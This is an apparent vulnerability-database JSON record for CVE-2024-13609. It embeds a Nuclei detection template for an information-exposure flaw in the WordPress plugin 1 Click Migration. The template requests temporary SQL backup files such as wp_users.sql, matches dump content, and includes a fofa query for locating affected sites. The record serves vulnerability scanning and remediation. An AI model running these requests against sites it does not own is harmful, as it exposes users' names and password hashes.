{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-13609/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-13609/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-13609/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-13609/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-13609/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-13609"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-13609"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-13609.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2024-13609\ninfo:\n  name: WordPress 1 Click Migration Plugin < 2.3 - Information Exposure\n  author: pussycat0x\n  severity: medium\n  description: |\n    The 1 Click WordPress Migration Plugin – 100% FREE for a limited time plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2 via the class-ocm-backup.php. This makes it possible for unauthenticated attackers to extract sensitive data including usernames and their respective password hashes during a short window of time in which the backup is in process.\n  impact:\n    Unauthenticated attackers can retrieve sensitive data including usernames and password hashes, risking account compromise.\n  remediation:\n    Update to the latest version of the plugin where the issue is fixed.\n  reference:\n    - https://wpscan.com/vulnerability/17fa121a-caa6-46ef-a865-eafd97d86abb/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-13609\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 5.9\n    cwe-id: CWE-200\n    cve-id: CVE-2024-13609\n    epss-score: 0.01639\n    epss-percentile: 0.76444\n  metadata:\n    verified: true\n    max-request: 6\n    framework: wordpress\n    vendor: 1-click-migration\n    product: 1-click-migration\n    fofa-query: body=\"/wp-content/plugins/1-click-migration/\"\n  tags: cve,cve2024,wp,wordpress,wp-plugin,1clickmigration,exposure,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/tmp/db/{{table}}.sql\"\n\n    attack: batteringram\n    payloads:\n      table:\n        - \"wp_users\"\n        - \"wp_usermeta\"\n        - \"wp_options\"\n        - \"wp_posts\"\n        - \"wp_comments\"\n        - \"wp_postmeta\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"CREATE TABLE\", \"INSERT INTO\", \"DROP TABLE\")'\n          - 'contains(content_type, \"application/sql\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100daa658d65075fccdae1bc181d4205503f347a0213318ea1384ac6e17ccd5612802202a50cc919fddc5c31a336899b1ae474c70338c5543e7462dcd53e8ddb03948e4:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-13609"
}